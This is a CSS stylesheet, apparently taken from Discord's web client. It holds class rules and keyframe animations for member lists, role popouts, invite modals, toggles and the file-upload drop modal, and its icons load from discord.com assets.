.overlay-unlocked code, .overlay-unlocked code.inline { background: var(--background-secondary); border-color: var(--background-tertiary); }

.roleMention-2Bj0ju { font-weight: 500; }

.rolePopout-25sKc- { width: 240px; background-color: var(--background-secondary); border-radius: 8px; max-height: calc(100vh - 20px); }

.roleHeader-apnU9D { padding: 12px 8px 0px 16px; height: 40px; }

.roleScroller-211T6P { margin-top: 4px; margin-bottom: 8px; }

.timestamp-1Dd_pn { background-color: var(--background-modifier-accent); border-radius: 3px; padding: 0px 2px; }

.timestampTooltip-2YTl4z { max-width: unset; }

@-webkit-keyframes placeholderPulse-34GVGw { 
  0% { opacity: 0.5; }
  50% { opacity: 1; }
  100% { opacity: 0.5; }
}

@keyframes placeholderPulse-34GVGw { 
  0% { opacity: 0.5; }
  50% { opacity: 1; }
  100% { opacity: 0.5; }
}

.multiplePlaceholder-M9zbu6, .placeholder-3KRNN9 { cursor: pointer; box-sizing: border-box; overflow: hidden; animation: 3s ease-in-out 0s infinite normal none running placeholderPulse-34GVGw; }

.placeholder-3KRNN9 { height: 44px; display: flex; -webkit-box-align: center; align-items: center; }

.mulitplePlaceholderUsername-pogq9I, .placeholderUsername-2B_OA9 { border-radius: 8px; height: 14px; }

.mulitplePlaceholderUsername-pogq9I { margin-top: 12px; }

.avatarSmall-2ZCvxB { width: 32px; height: 32px; }

.avatarLarge-29Rv8a { width: 40px; height: 40px; }

.placeholderAvatar-damqh6 { border-radius: 50%; }

.mulitplePlaceholderUsername-pogq9I, .placeholderAvatar-damqh6, .placeholderUsername-2B_OA9 { background-color: var(--background-primary); }

.avatarMasked-RmBa_y { -webkit-mask-image: url("https://discord.com/assets/bdfdb44edfec770fb4e448cbbebfe922.svg"); -webkit-mask-position: 0px 0px; -webkit-mask-size: 100% 100%; -webkit-mask-repeat: no-repeat; margin-right: -6px; }

.container-2Pjhx- { box-sizing: border-box; display: block; padding: 1px 0px; border-radius: 4px; transition: none 0s ease 0s; color: var(--channels-default); }

.container-2Pjhx- .muted-3mU76i { color: var(--interactive-muted); }

.muted-3mU76i .avatar-3uk_u9 { opacity: 0.3; }

.clickable-1JJAn8.container-2Pjhx-:hover, .clickable-1JJAn8.container-2Pjhx-:hover .muted-3mU76i { color: var(--interactive-hover); }

.clickable-1JJAn8.container-2Pjhx-:hover .avatar-3uk_u9 { opacity: 1; }

.clickable-1JJAn8.container-2Pjhx-:active, .highlighted-1gWxXa.container-2Pjhx-, .selected-aXhQR6.container-2Pjhx- { color: var(--interactive-active); }

.layout-2DM8Md { display: flex; -webkit-box-align: center; align-items: center; border-radius: 4px; height: 42px; padding: 0px 8px; }

.wrappedLayout-3DR7Pk { height: auto; padding: 5px 8px; }

.clickable-1JJAn8:hover .layout-2DM8Md { background-color: var(--background-modifier-hover); cursor: pointer; }

.clickable-1JJAn8:active .layout-2DM8Md { background-color: var(--background-modifier-active); }

.selected-aXhQR6 .layout-2DM8Md { background-color: var(--background-modifier-selected); }

.avatar-3uk_u9 { display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; -webkit-box-flex: 0; flex: 0 0 auto; width: 32px; height: 32px; margin-right: 12px; }

.content-3QAtGj { min-width: 0px; -webkit-box-flex: 1; flex: 1 1 auto; }

.content-3QAtGj, .name-uJV0GL { white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.name-uJV0GL { font-size: 16px; line-height: 20px; font-weight: 500; -webkit-box-flex: 0; flex: 0 1 auto; }

.wrappedName-26qVtL { white-space: normal; }

.nameAndDecorators-5FJ2dg { display: flex; -webkit-box-pack: start; justify-content: flex-start; -webkit-box-align: center; align-items: center; }

.subText-1KtqkB { margin-top: -2px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.children-gzQq2t { -webkit-box-flex: 0; flex: 0 0 auto; margin-left: 8px; }

.icon-15YQ1T { margin-left: 2px; }

.emoji-2cWBLE, .icon-15YQ1T { -webkit-box-flex: 0; flex: 0 0 auto; }

.textRuler-wO-qHe { position: absolute; visibility: hidden; }

.member-3-YXUe { position: relative; max-width: 224px; margin-left: 8px; }

.offline-3nJYBR { opacity: 0.3; }

.offline-3nJYBR:hover { opacity: 1; }

.icon-1A2_vz { -webkit-box-flex: 0; flex: 0 0 auto; position: relative; top: 1px; width: 14px; height: 14px; }

.ownerIcon-2NH9FM { color: var(--text-warning); margin-left: 4px; }

.lostPermission-2pphCL { text-decoration: line-through; }

.premiumIcon-1rDbWQ { color: hsl(302,calc(var(--saturation-factor, 1)*100%),72.5%); margin-left: 3px; }

.placeholder-3X_lzF { padding: 4px 8px; }

.botTag-3W9SuW { margin-left: 4px; -webkit-box-flex: 0; flex: 0 0 auto; }

.roleColor-rz2vM0 { display: block; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.activity-2Gy-9S { display: flex; -webkit-box-align: center; align-items: center; font-size: 12px; line-height: 16px; color: var(--channels-default); font-weight: 500; }

.activityText-yGKsKm { -webkit-box-flex: 0; flex: 0 1 auto; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.activityEmoji-2GDGtF { margin-right: 4px; width: 14px; height: 14px; }

.wrapper-r-6rrt { width: 100%; height: 100%; max-width: 440px; margin-left: auto; margin-right: auto; }

.image-1GzsFd { background-size: 100% 100%; }

.title-2BxgL2 { font-size: 17px; line-height: 22px; font-weight: 600; text-transform: uppercase; }

.text-GwUZgS, .title-2BxgL2 { text-align: center; }

.text-GwUZgS { font-size: 16px; line-height: 20px; }

.theme-light .text-GwUZgS, .theme-light .title-2BxgL2 { color: rgba(185, 187, 190, 0.9); }

.theme-dark .text-GwUZgS, .theme-dark .title-2BxgL2 { color: rgb(114, 118, 125); }

.container-3auIfb { position: relative; width: 40px; height: 24px; }

.container-3auIfb, .input-rwLH4i { border-radius: 14px; cursor: pointer; }

.input-rwLH4i { position: absolute; opacity: 0; width: 100%; height: 100%; }

.input-rwLH4i[disabled] { cursor: not-allowed; pointer-events: none; }

.slider-TkfMQL { display: block; position: absolute; left: 0px; width: 28px; height: 18px; margin: 3px; }

.container-2_Tvc_ { -webkit-box-orient: vertical; flex-direction: column; margin-bottom: 20px; }

.container-2_Tvc_, .labelRow-16e77k { display: flex; -webkit-box-direction: normal; }

.labelRow-16e77k { -webkit-box-orient: horizontal; flex-direction: row; width: 100%; -webkit-box-align: start; align-items: flex-start; }

.control-2BBjec { -webkit-box-flex: 0; flex: 0 0 auto; }

.disabled-2HSEFa { cursor: not-allowed; }

.disabled-2HSEFa .titleDefault-a8-ZSr, .disabled-2HSEFa .titleMini-pBwj_L { cursor: not-allowed; opacity: 0.6; }

.title-31JmR4 { -webkit-box-flex: 1; flex: 1 1 0%; display: block; overflow: hidden; margin-top: 0px; margin-bottom: 0px; color: var(--header-primary); line-height: 24px; font-size: 16px; font-weight: 500; overflow-wrap: break-word; cursor: pointer; }

.note-1V3kyJ { margin-top: 8px; }

.dividerDefault-3rvLe- { margin-top: 20px; }

.wrapper-O5i5-0 { min-height: 385px; }

.scroller-2hZ97C { max-height: 200px; padding-top: 8px; padding-left: 12px; }

.modal-1k91nT { max-height: 645px; min-height: 144px; }

.closeButton-31ta9E { position: absolute; top: 14px; right: 14px; z-index: 3; }

.header-2Pz98J, .hubHeader-25x_xT { width: 100%; display: -webkit-box; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.hubHeader-25x_xT { text-align: center; }

.hubInviteTitle-3h-KEA { font-weight: 700; padding: 4px 12px 8px; }

.hubFriendSearch-1l0gC5 { margin-top: 8px; }

.inviteRow-2L02ae { box-sizing: border-box; border-radius: 3px; margin-right: -10px; padding: 7px 10px 7px 8px; height: 44px; }

.inviteRowAvatar-EURMT6 { margin-top: 0px; -webkit-box-flex: 0; flex: 0 0 auto; margin-right: 10px; }

.inviteRowInfo-I9V9v- { overflow: hidden; margin-right: 4px; }

.inviteRowName-1tVaxu { text-overflow: ellipsis; overflow: hidden; white-space: nowrap; }

.inviteRowButton-3opYo2 { height: 32px; transition: unset; -webkit-box-flex: 0; flex: 0 0 auto; width: 72px; }

.inviteNoResultsImage-6yTvc9 { height: 176px; margin-top: 12px; margin-bottom: 32px; background-repeat: no-repeat; background-size: 100% 100%; }

.inviteNoResultsImage-6yTvc9.highFive-3ySu5x { background-image: url("https://discord.com/assets/cf3e2e7f108d20c8d804a13c9067f5a6.svg"); }

.inviteNoResultsImage-6yTvc9.envolope-1uD5SC { background-image: url("https://discord.com/assets/574445a239ac649e5169382bb9970115.svg"); }

.noBorder-CTIBpT { border: none; }

.noPadding-1v11qi { padding-top: 0px; }

.content-3CCvMx { width: 100%; }

.content-3CCvMx::before { content: ""; width: 412px; height: 1px; margin-left: -6px; transform: translateY(-20px); }

.copyInput-1T2hfb { -webkit-box-flex: 1; flex-grow: 1; }

.copyButton-1I8hd3 { margin-right: 4px; width: 75px; }

.subText-bCySlS { margin-bottom: 12px; }

.noScroll-3xWe_g { overflow: visible !important; }

.settingsContent-3Pxg5D { z-index: 1; }

.settingsFooter-15L4Xu, .switch-1z4BEm { z-index: 0; }

.switch-1z4BEm { position: relative; }

.theme-light .inviteRow-2L02ae:hover { background-color: rgb(246, 246, 247); }

.theme-light .footer-1FPmkC { background-color: rgb(255, 255, 255); }

.theme-light .content-3CCvMx::before { background-color: rgba(54, 57, 63, 0.1); }

.theme-light .copied-e3U5bd { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-light .checkBoxLabel-4PWfpk, .theme-light .inviteRowName-1tVaxu, .theme-light .subText-bCySlS { color: rgb(79, 84, 92); }

.theme-dark .inviteRow-2L02ae:hover { background-color: rgba(79, 84, 92, 0.3); }

.theme-dark .inviteRowName-1tVaxu { color: rgb(246, 246, 247); }

.theme-dark .footer-1FPmkC { background-color: rgb(54, 57, 63); }

.theme-dark .content-3CCvMx::before { background-color: rgba(255, 255, 255, 0.1); }

.theme-dark .copied-e3U5bd { border-color: hsl(139,calc(var(--saturation-factor, 1)*47.3%),43.9%); }

.theme-dark .checkBoxLabel-4PWfpk, .theme-dark .footerText-2a7NxZ, .theme-dark .subText-bCySlS { color: rgb(185, 187, 190); }

.headerContainer-3uxewi { width: 100%; }

.welcomeImage-QDYf6I { display: block; width: auto; height: 148px; margin: 8px auto 16px; }

.welcomeHeading-2US2wn { margin: 0px 0px 8px; font-size: 24px; line-height: 30px; font-weight: 700; text-align: center; color: var(--header-primary); }

.welcomeSubheading-1gfu4- { margin: 0px 0px 15px; font-size: 16px; line-height: 20px; font-weight: 500; text-align: center; color: var(--text-muted); }

.image-3wFWIj { width: 156px; height: 137px; }

.text-ojZtuK { }

.theme-dark .image-3wFWIj { background-image: url("https://discord.com/assets/1e3eefd7b16f4e6b59faa3e3d48f582f.svg"); }

.theme-light .image-3wFWIj { background-image: url("https://discord.com/assets/f448e486ed9792938c6dcec4c476734b.svg"); }

.premiumPromo-3oM7cT { box-sizing: border-box; width: 100%; padding: 0px 15px 15px; margin-top: -5px; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; }

.content-P4SiGI, .premiumPromo-3oM7cT { display: flex; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; text-align: center; }

.content-P4SiGI { font-size: 12px; line-height: 16px; color: rgb(255, 255, 255); cursor: pointer; opacity: 0.6; }

.content-P4SiGI:hover { opacity: 1; }

.content-P4SiGI:hover .navArrow-3Q9QPC { transform: translate3d(2px, 0px, 0px); }

.navArrow-3Q9QPC { width: 14px; height: 14px; transition: transform 0.1s ease-in-out 0s, -webkit-transform 0.1s ease-in-out 0s; }

@-webkit-keyframes uploadIconAnimateInLeft-lEUOPh { 
  0% { transform: translateZ(0px) rotate(0deg); opacity: 0.6; }
  4.1667% { transform: translate3d(0px, -1px, 0px) rotate(0deg); opacity: 0.68; }
  30.8334% { transform: translate3d(-48px, -10px, 0px) rotate(-36deg); opacity: 1; }
  58.3334% { transform: translate3d(-41px, -3px, 0px) rotate(-28deg); opacity: 1; }
  75% { transform: translate3d(-45px, -8px, 0px) rotate(-32deg); opacity: 1; }
  83.3334% { transform: translate3d(-44px, -7px, 0px) rotate(-30.7deg); opacity: 1; }
  100% { transform: translate3d(-44px, -6px, 0px) rotate(-30deg); opacity: 1; }
}

@keyframes uploadIconAnimateInLeft-lEUOPh { 
  0% { transform: translateZ(0px) rotate(0deg); opacity: 0.6; }
  4.1667% { transform: translate3d(0px, -1px, 0px) rotate(0deg); opacity: 0.68; }
  30.8334% { transform: translate3d(-48px, -10px, 0px) rotate(-36deg); opacity: 1; }
  58.3334% { transform: translate3d(-41px, -3px, 0px) rotate(-28deg); opacity: 1; }
  75% { transform: translate3d(-45px, -8px, 0px) rotate(-32deg); opacity: 1; }
  83.3334% { transform: translate3d(-44px, -7px, 0px) rotate(-30.7deg); opacity: 1; }
  100% { transform: translate3d(-44px, -6px, 0px) rotate(-30deg); opacity: 1; }
}

@-webkit-keyframes uploadIconAnimateInMiddle-3DqCs3 { 
  0% { transform: translateZ(0px); }
  30.8334% { transform: translate3d(0px, -10px, 0px); }
  58.3334% { transform: translate3d(0px, -3px, 0px); }
  75% { transform: translate3d(0px, -8px, 0px); }
  83.3334% { transform: translate3d(0px, -7px, 0px); }
  100% { transform: translate3d(0px, -6px, 0px); }
}

@keyframes uploadIconAnimateInMiddle-3DqCs3 { 
  0% { transform: translateZ(0px); }
  30.8334% { transform: translate3d(0px, -10px, 0px); }
  58.3334% { transform: translate3d(0px, -3px, 0px); }
  75% { transform: translate3d(0px, -8px, 0px); }
  83.3334% { transform: translate3d(0px, -7px, 0px); }
  100% { transform: translate3d(0px, -6px, 0px); }
}

@-webkit-keyframes uploadIconAnimateInRight-KUAMIW { 
  0% { transform: translateZ(0px) rotate(0deg); opacity: 0.6; }
  4.1667% { transform: translate3d(0px, -1px, 0px) rotate(0deg); opacity: 0.68; }
  30.8334% { transform: translate3d(48px, -10px, 0px) rotate(36deg); opacity: 1; }
  58.3334% { transform: translate3d(41px, -3px, 0px) rotate(28deg); opacity: 1; }
  75% { transform: translate3d(45px, -8px, 0px) rotate(32deg); opacity: 1; }
  83.3334% { transform: translate3d(44px, -7px, 0px) rotate(30.7deg); opacity: 1; }
  100% { transform: translate3d(44px, -6px, 0px) rotate(30deg); opacity: 1; }
}

@keyframes uploadIconAnimateInRight-KUAMIW { 
  0% { transform: translateZ(0px) rotate(0deg); opacity: 0.6; }
  4.1667% { transform: translate3d(0px, -1px, 0px) rotate(0deg); opacity: 0.68; }
  30.8334% { transform: translate3d(48px, -10px, 0px) rotate(36deg); opacity: 1; }
  58.3334% { transform: translate3d(41px, -3px, 0px) rotate(28deg); opacity: 1; }
  75% { transform: translate3d(45px, -8px, 0px) rotate(32deg); opacity: 1; }
  83.3334% { transform: translate3d(44px, -7px, 0px) rotate(30.7deg); opacity: 1; }
  100% { transform: translate3d(44px, -6px, 0px) rotate(30deg); opacity: 1; }
}

@-webkit-keyframes uploadModalShake-1PBhUb { 
  10%, 90% { transform: translate3d(-1px, 0px, 0px); }
  20%, 80% { transform: translate3d(2px, 0px, 0px); }
  30%, 50%, 70% { transform: translate3d(-4px, 0px, 0px); }
  40%, 60% { transform: translate3d(4px, 0px, 0px); }
}

@keyframes uploadModalShake-1PBhUb { 
  10%, 90% { transform: translate3d(-1px, 0px, 0px); }
  20%, 80% { transform: translate3d(2px, 0px, 0px); }
  30%, 50%, 70% { transform: translate3d(-4px, 0px, 0px); }
  40%, 60% { transform: translate3d(4px, 0px, 0px); }
}

@-webkit-keyframes uploadTextFadeIn-3vkVkM { 
  0%, 8.334% { transform: translate3d(0px, -4px, 0px); opacity: 0; }
  45.8%, 100% { transform: translateZ(0px); opacity: 1; }
}

@keyframes uploadTextFadeIn-3vkVkM { 
  0%, 8.334% { transform: translate3d(0px, -4px, 0px); opacity: 0; }
  45.8%, 100% { transform: translateZ(0px); opacity: 1; }
}

@-webkit-keyframes uploadModalBounceTransition-2UbjF9 { 
  0% { transform: translateZ(0px) scale(0.99); }
  50% { transform: translateZ(0px) scale(1.005); }
  100% { transform: translateZ(0px) scale(1); }
}

@keyframes uploadModalBounceTransition-2UbjF9 { 
  0% { transform: translateZ(0px) scale(0.99); }
  50% { transform: translateZ(0px) scale(1.005); }
  100% { transform: translateZ(0px) scale(1); }
}

@-webkit-keyframes uploadModalBounce-30cglS { 
  0% { transform: translateZ(0px) scale(0.99); }
  15%, 100% { inset: -10px; }
  33.3334% { transform: translateZ(0px) scale(1.005); }
  54.1667% { transform: translateZ(0px) scale(0.995); }
  70.8334%, 100% { transform: translateZ(0px) scale(1); }
}

@keyframes uploadModalBounce-30cglS { 
  0% { transform: translateZ(0px) scale(0.99); }
  15%, 100% { inset: -10px; }
  33.3334% { transform: translateZ(0px) scale(1.005); }
  54.1667% { transform: translateZ(0px) scale(0.995); }
  70.8334%, 100% { transform: translateZ(0px) scale(1); }
}

.uploadArea-3QgLtW { position: absolute; top: 0px; left: 0px; width: 100%; height: 100%; visibility: hidden; background: rgba(0, 0, 0, 0.8); font-size: 36px; color: rgb(255, 255, 255); display: flex; -webkit-box-align: center; align-items: center; -webkit-box-pack: center; justify-content: center; opacity: 0; z-index: 2000; }

.uploadArea-3QgLtW strong { font-weight: 700; }

.uploadArea-3QgLtW * { pointer-events: none; }

.uploadArea-3QgLtW.droppable-1orUyP { visibility: visible; }

.uploadArea-3QgLtW.uploadModalIn-1z07Bv { opacity: 1; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc { animation: 0.25s ease-in-out 0s 1 normal forwards running uploadIconAnimateIn-2ME8Vn; width: 310px; height: 170px; display: flex; position: relative; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .icon-kyxXVr.one-2crnLX { animation: 0.8s ease 0s 1 normal forwards running uploadIconAnimateInLeft-lEUOPh; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .icon-kyxXVr.two-3BBQI9 { animation: 0.8s ease 0s 1 normal forwards running uploadIconAnimateInMiddle-3DqCs3; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .icon-kyxXVr.three-27ScFD { animation: 0.8s ease 0s 1 normal forwards running uploadIconAnimateInRight-KUAMIW; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .instructions-2Du9gG, .uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .title-2Vtl4y { opacity: 0; animation: 1s ease 0.175s 1 normal forwards running uploadTextFadeIn-3vkVkM; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .instructions-2Du9gG { animation-delay: 0.185s; animation-duration: 1.25s; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 { background-color: hsl(359,calc(var(--saturation-factor, 1)*66.7%),54.1%); animation: 0.82s cubic-bezier(0.36, 0.07, 0.19, 0.97) 0s 1 normal both running uploadModalShake-1PBhUb; transform: translateZ(0px); padding: 10px; border-radius: 10px; box-sizing: border-box; height: auto; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 .instructions-2Du9gG { margin-bottom: 15px; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 a { cursor: pointer; color: rgba(255, 255, 255, 0.7); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 a:hover { color: rgb(255, 255, 255); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 .icon-kyxXVr.one-2crnLX { animation-delay: 0.115s; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 .icon-kyxXVr.two-3BBQI9 { animation-delay: 0.01s; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc.error-kKl9o2 .icon-kyxXVr.three-27ScFD { animation-delay: 0.08s; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .bgScale-1otPtc { position: absolute; inset: 0px; z-index: -1; border-radius: 10px; background: var(--brand-experiment); animation: 0.8s ease 0s 1 normal forwards running uploadModalBounce-30cglS; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo { -webkit-box-flex: 1; flex: 1 1 0%; color: rgb(255, 255, 255); display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; -webkit-box-pack: center; justify-content: center; -webkit-box-align: center; align-items: center; border: 2px dashed rgba(255, 255, 255, 0.4); border-radius: 6px; width: 100%; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .title-2Vtl4y { font-size: 22px; font-weight: 700; padding: 0px 8px; width: 100%; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .title-2Vtl4y strong { color: rgb(255, 255, 255); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .instructions-2Du9gG { text-align: center; font-size: 12px; line-height: 16px; margin-top: 4px; color: rgb(255, 255, 255); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .icons-1w691d { position: relative; width: 100px; height: 60px; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .wrapOne-14G98n { transform: translate3d(0px, -70px, 0px); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .wrapTwo-mQGI3R { transform: translate3d(0px, -80px, 0px); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .wrapThree-1CNQ42 { transform: translate3d(0px, -70px, 0px); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .icon-kyxXVr { position: absolute; flex-shrink: 0; width: 100px; height: 130px; background-repeat: no-repeat; background-position: 50% center; transform: translateZ(0px); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .icon-kyxXVr.one-2crnLX { background-image: url("https://discord.com/assets/515d0236bce3ba834026209dc78489f0.svg"); opacity: 0; }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .icon-kyxXVr.two-3BBQI9 { background-image: url("https://discord.com/assets/a532e755c36b75762a75ff0794456efb.svg"); filter: drop-shadow(rgba(88, 101, 242, 0.5) 0px 0px 48px); }

.uploadModalIn-1z07Bv .uploadDropModal-2kTwbc .inner-3nWsbo .icon-kyxXVr.three-27ScFD { background-image: url("https://discord.com/assets/35827c42a3af54bd169cff0a866eb428.svg"); opacity: 0; }

.crossOne-G8l6vW, .crossTwo-aG_i7H, .lightOne-i8nDwl, .lightTwo-3AK5zn, .popOne-33Hy62, .sparkleOne-zvhFgj, .sparkleTwo-R0oeYq { opacity: 0.95; z-index: 1; animation-iteration-count: 1 !important; }

.sparkleOne-zvhFgj { bottom: -40px; right: -15px; }

.sparkleTwo-R0oeYq { top: -67px; right: 12px; animation-delay: 1.2s; }

.lightOne-i8nDwl { top: 24px; right: -35px; animation-delay: 0.4s; }

.lightTwo-3AK5zn { top: -32px; left: -10px; animation-delay: 0.61s; }

.crossOne-G8l6vW { right: 100px; bottom: -35px; animation-delay: 0.56s; }

.crossTwo-aG_i7H { left: -70px; bottom: 50px; animation-delay: 0.8s; }

.popOne-33Hy62 { bottom: -40px; left: 50px; animation-delay: 0.7s; }

.uploadModal-2ifh8j { width: 530px; min-height: 258px; border-radius: 10px; display: flex; -webkit-box-orient: vertical; -webkit-box-direction: normal; flex-direction: column; perspective: 1000px; filter: blur(0px); }

.uploadModal-2ifh8j.transitioning-jYFzwb { animation: 0.2s ease 0s 1 normal forwards running uploadModalBounceTransition-2UbjF9; }

.uploadModal-2ifh8j .inner-3nWsbo { -webkit-box-flex: 1; flex: 1 1 0%; margin: 4px; color: var(--header-primary); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K { position: relative; height: 103px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K.expandable-3khGbD { height: unset; display: block; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K.expandable-3khGbD .description-2ug5H_ { padding: 16px 16px 24px; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr { flex-shrink: 0; width: 100px; height: 130px; margin-top: -42px; background-repeat: no-repeat; background-position: 50% center; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.image-2yrs5j { background-color: var(--background-secondary); box-sizing: border-box; border-radius: 8px; object-fit: contain; box-shadow: rgba(0, 0, 0, 0.4) 0px 2px 8px; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.video-27RLEH { background-image: url("https://discord.com/assets/7252adb1cdb9603a49ce1bab7c3c41e7.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.acrobat-3K1PC6 { background-image: url("https://discord.com/assets/325421cb49d6e0717b8c7b9dfa2d4bdc.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.ae-1Y5Jq3 { background-image: url("https://discord.com/assets/5acc0abb7cbb015848085fc0993142bf.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.sketch-ZMuo7D { background-image: url("https://discord.com/assets/a4389a7644d1ec25e7132159b71c5175.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.ai-11KAaB { background-image: url("https://discord.com/assets/ad55c3f2f2354618478e36f2a10f2ea3.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.archive-2hqXug { background-image: url("https://discord.com/assets/157ccfe93c91db60adddd48a75b69205.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.code-aoB-kL { background-image: url("https://discord.com/assets/35827c42a3af54bd169cff0a866eb428.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.document-2cvI0u { background-image: url("https://discord.com/assets/515d0236bce3ba834026209dc78489f0.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.photoshop-1UWfyZ, .uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.ps-2T6Jrl { background-image: url("https://discord.com/assets/9655e45a31ab290cf812ba2de902f232.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.spreadsheet-1QuSej { background-image: url("https://discord.com/assets/c1ebd9af7ce0a639af9d99b4980bda13.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.webcode-22GGLX { background-image: url("https://discord.com/assets/6b35b41a1e3a8099667499b71414328b.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.audio-14DQXq { background-image: url("https://discord.com/assets/e83eaad3ae5c32a355b55f157e6cd3da.svg"); margin: -42px 8px 8px; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .icon-kyxXVr.unknown-3TPTMr { background-image: url("https://discord.com/assets/7b3a37fa249a857b0ff136db0a73f44c.svg"); }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .description-2ug5H_ { box-sizing: border-box; padding: 16px 16px 0px 0px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .description-2ug5H_ .filename-ovv3c5 { font-size: 20px; font-weight: 700; height: 22px; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .description-2ug5H_ .subtitle-26nRzM { color: var(--header-secondary); font-size: 16px; line-height: 20px; margin-top: 4px; }

.uploadModal-2ifh8j .inner-3nWsbo .file-34mY5K .description-2ug5H_ .filesize-s2nTZM { margin-top: 6px; font-size: 10px; opacity: 0.6; }

.uploadModal-2ifh8j .inner-3nWsbo .comment-4IWttf { margin: 0px 18px; }

.uploadModal-2ifh8j .inner-3nWsbo .comment-4IWttf .label-3aiqT2 { text-transform: uppercase; font-size: 12px; font-weight: 500; }

.uploadModal-2ifh8j .inner-3nWsbo .comment-4IWttf .label-3aiqT2 .optional--ezibr { color: var(--header-secondary); margin-left: 5px; }

.uploadModal-2ifh8j .inner-3nWsbo .channelTextAreaUpload-3t7EIx { margin-bottom: 18px; }

.uploadModal-2ifh8j .hasSpoilers-1IRtQC { display: flex; }

.uploadModal-2ifh8j .footerRightAlign-GmwgFk { margin-left: auto; }

.uploadModal-2ifh8j .footer-3mqk7D { border-radius: 0px 0px 5px 5px; display: flex; -webkit-box-orient: horizontal; -webkit-box-direction: normal; flex-direction: row; -webkit-box-pack: end; justify-content: flex-end; padding: 20px; z-index: 1; overflow-x: hidden; }

.uploadModal-2ifh8j .footer-3mqk7D.hasSpoilers-1IRtQC { -webkit-box-pack: justify; justify-content: space-between; -webkit-box-align: center; align-items: center; }

.cancelAllButton-16p7ma { margin: 0px auto 0px 0px; }

.theme-dark .uploadModal-2ifh8j { background-color: rgb(54, 57, 63); box-shadow: rgba(32, 34, 37, 0.6) 0px 0px 0px 1px, rgba(0, 0, 0, 0.2) 0px 2px 10px 0px; }

.theme-dark .footer-3mqk7D { background-color: rgb(47, 49, 54); box-shadow: rgba(47, 49, 54, 0.6) 0px 1px 0px inset; }

.theme-light .uploadModal-2ifh8j { background: rgb(255, 255, 255); box-shadow: rgba(185, 187, 190, 0.3) 0px 0px 0px 1px, rgba(0, 0, 0, 0.1) 0px 2px 10px 0px; }

.theme-light .footer-3mqk7D { background-color: rgb(246, 246, 247); box-shadow: rgba(246, 246, 247, 0.6) 0px 1px 0px inset; }

